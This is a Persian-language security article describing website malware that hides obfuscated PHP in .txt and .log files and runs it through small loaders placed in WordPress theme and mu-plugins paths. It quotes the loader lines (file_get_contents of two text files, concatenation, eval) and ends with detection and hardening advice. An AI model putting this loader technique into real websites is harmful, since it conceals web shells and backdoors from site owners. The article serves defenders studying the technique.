حوزه بدافزارها به سرعت در حال تکامل است و مهاجمان همیشه از تکنیکهای جدیدی برای دور زدن سیستمهای تشخیص دهنده استفاده میکنند. به گزارش sucuri معمولاً بدافزارهای مربوط به وبسایتها در فایلهای JavaScript یا PHP یافت میشوند که در سمت مرورگر یا سرور اجرا میشوند؛ اما تعداد زیادی بدافزار جدید مشاهده شده که از فایلهای غیر اجرایی نظیر .txt یا .log برای فراخوانی کدهای مخرب استفاده میکنند.
روشهای سنتی فراخوانی بدافزار
بدافزار وبسایت معمولاً در فایلهایی با پسوند .php یا .js یافت میشود که میتواند مستقیماً توسط مرورگر یا سرور اجرا شود. این نوع فایلها در بین مهاجمان محبوب هستند زیرا میتوان از آنها برای اجرای کد مخرب استفاده کرد. معمولاً یک مهاجم اقدام به تزریق اسکریپتهای مخرب در این فایلها میکند که بعداً توسط مرورگر یا سرور اجرا میشود. این یک روش ساده و موثر است و به مهاجم امکان کنترل وبسایت و یا کل سرور را میدهد. سیستمهای امنیتی نیز موقع اسکن برای تهدیدات بر روی این نوع فایلها تمرکز دارند. اما از آنجایی که روشهای تشخیص بدافزار پیشرفت کرده است، استراتژیهای مهاجمان نیز بهبود یافته است.
کد مخرب داخل فایلهای غیر اجرایی
در طی سالهای گذشته موجی از تعدادی بدافزار پنهانکار کشف شده که از فایلهای غیر اجرایی نظیر .txt یا .log بهره میبرند. این فایلها ظاهر سادهای دارند و محتوای آنها چیزی به جز یک یا دو خط متن کد شده به صورت Base64 یا HEX نیست. در اینجا نگاهی به یک سناریوی رایج میاندازیم: یک قطعه کد داخل فایل PHP که به مسیر یک فایل نامتعارف با پسوند .txt یا .log اشاره میکند که در این فایل کد اصلی مخرب به صورت مبهم شده وجود دارد و خط دیگری کد در فایل PHP با استفاده از تابع eval یا base64_decode دستورات را کدگشایی کرده و کدهای مخرب را اجرا میکند. این تکنیک میتوند دقیقترین مدیر سامانه را فریب دهد و مدیری که به طور مرتب فایلها و کدهای منبع را بررسی میکند ممکن است متوجه کدهای مخرب نشود. بنابراین در اینجا نیاز به بررسی تمام فایلهای روی وبسایت به وجود میآید و نباید تنها به بررسی فایلهای اجرایی بسنده کرد.
نمونهای از کد پنهان شده در یک فایل log
در شکل زیر نمونهای از کد مبهمسازی شده در یک فایل به نام tott.log مشاهده میشود که در یک وبسایت آلوده یافت شده است:
در یک فایل جداگانه در مسیر wp-content/mu-plugins/1.php قطعه کد زیر نیز یافت شده است:
دستورات base64_decode و file_get_contents همراه با مسیر فایلی که شامل کد مخرب است (/wp-content/mu-plugins/.tott.log) برای جلوگیری از تشخیص جداسازی شدهاند. فایل log شامل کد base64 است که میتواند هر چیزی از یک اسکریپت کامل shell گرفته تا یک درب پشتی ساده باشد تا بتوان وبسایت را مجدداً آلوده کرد و یا بدافزار اضافه را بارگزاری کرد. در این مورد خاص کد مخرب مشغول انجام کارهایی از نوع black hat SEO بوده است.
نمونهای از کد پنهان شده در فایل txt
در اینجا نمونهای دیگر از کد مبهمسازی شده را مشاهده میکنید که داخل فایلهایی به نامهای a.txt و aa.txt یافت شده است.
اما در وبسایت آلوده شده یک فایل PHP در مسیر (wp-content/themes/twentytwentytwo/inc/cach/index.php) نیز کشف شده که شامل قطعه کد زیر بوده است:
در کد PHP فوق مجموعهای از اقدامات برای اجرای بدافزار مخفی شده در فایلهای txt به شرح زیر انجام میشوند:
1- خط "ini_set(‘display_errors’, 1);" امکان نمایش خطاها، هشدارها و اعلامیهها را فراهم میکند که در واقع یک ابزار برای عیبیابی است. این خط برای این قرار داده شده که مهاجمان مطمئن شوند کد آنها به درستی کار میکند.
2- خط "error_reporting(E_ALL);" مشابه خط قبلی است و تمام خطاهای PHP را گزارش میدهد و برای عیبیابی به کار میرود.
3- دو خط بعدی یعنی "$part1 = file_get_contents(‘a.txt’);" و "$part2 = file_get_contents(‘aa.txt’);" محتوای دو فایل متنی به نامهای a.txt و aa.txt را دریافت میکنند.
این فایلها شامل بخشهای جداگانهای از کد مبهمسازی شده PHP هستند که شامل ترکیبی از کاراکترهای hexadecimal و octal هستند. هیچیک از این دو کد به تنهایی قابل اجرا نیستند.
4- سپس خط "$fullText = $part1 . $part2;" محتوای دو فایل را در یک متغیر به نام $fullText ذخیره میکند.
5- سرانجام در خط "eval($fullText);" از تابع eval() برای اجرای رشته به صورت کد PHP استفاده میشود. بنابراین محتوای ترکیب شده دو فایل متنی اجرا میشود. در این مورد کد مخرب یک web shell بوده است.
اگرچه در این مورد فایل txt شامل کد PHP بوده است، اما ممکن است به راحتی در مرحله بازرسی وبسایت نادیده گرفته شود که دلایل آن به شرح زیر است:
• بسیاری از افراد موقع جستجو به دنبال بدافزار فایلهای متنی را نادیده میگیرند.
• مخرب بودن کد PHP با یک نگاه اجمالی قابل تشخیص نیست زیرا تگهای <?php در آن وجود ندارند و شبیه مجموعه داده غیر قابل خواندن هستند.
• حتی اگر شما متوجه شوید که این یک کد PHP است و سعی کنید آن را اجرا کنید، با خطاهایی مواجه میشوید زیرا تنها در ترکیب با هم به یک کد مبهم قابل اجرای PHP تبدیل میشوند.
این روش به کد مخرب اجازه میدهد که از شناسایی در امان باشد و بدون تشخیص توسط سیستمهای امنیتی به کار خود ادامه دهد.
توصیههای امنیتی برای صاحبان وبسایت و توسعه دهندگان
افزایش استفاده از روش فوق الذکر نشان دهنده این است که مهاجمان موفقیت بیشتری در جلوگیری از شناسایی به دست آوردهاند. در نتیجه تشخیص بدافزار باید به جای بررسی فایلهای مظنون سابق یعنی PHP و JS شامل سایر فایلهای غیر اجرایی نیز بشود. برخی از فایلها ممکن است پسوندی هم نداشته باشند.
• به طور منظم فایلها و تغییرات در آنها را بازرسی کنید در طی بازرسی به دنبال تغییرات مشکوک از جمله تغییر اندازه فایلها یا مهر زمانی یا فایلهای جدید بگردید. تغییر اندازه در یک فایل txt یا log ممکن است نشان دهنده این باشد که از آن فایل برای ذخیره کد مخرب استفاده میشود.
• محتوای فایلها را بررسی کنید و به دنبال رشتههای کد شده به صورت base64 یا hex بگردید. این رشتهها ممکن است برای مقاصد غیر مخرب به کار بروند اما وجود آنها در فایلهای غیر اجرایی مشکوک است و باید بیشتر بررسی شود. میتوانید برای بررسی تغییرات فایلها از برخی پلاگینها و ابزارها استفاده نمایید.
• از نرمافزارهای اسکن پیشرفته بدافزار مخصوص وبسایت استفاده کنید.
• نرمافزارهای خود را به روز نگه دارید تا از آسیبپذیریهای شناخته شده در امان باشید.
• به طور منظم از کل وبسایت خود پشتیبان تهیه کنید.
• از دیوار آتش تحت وب استفاده کنید.
منابع: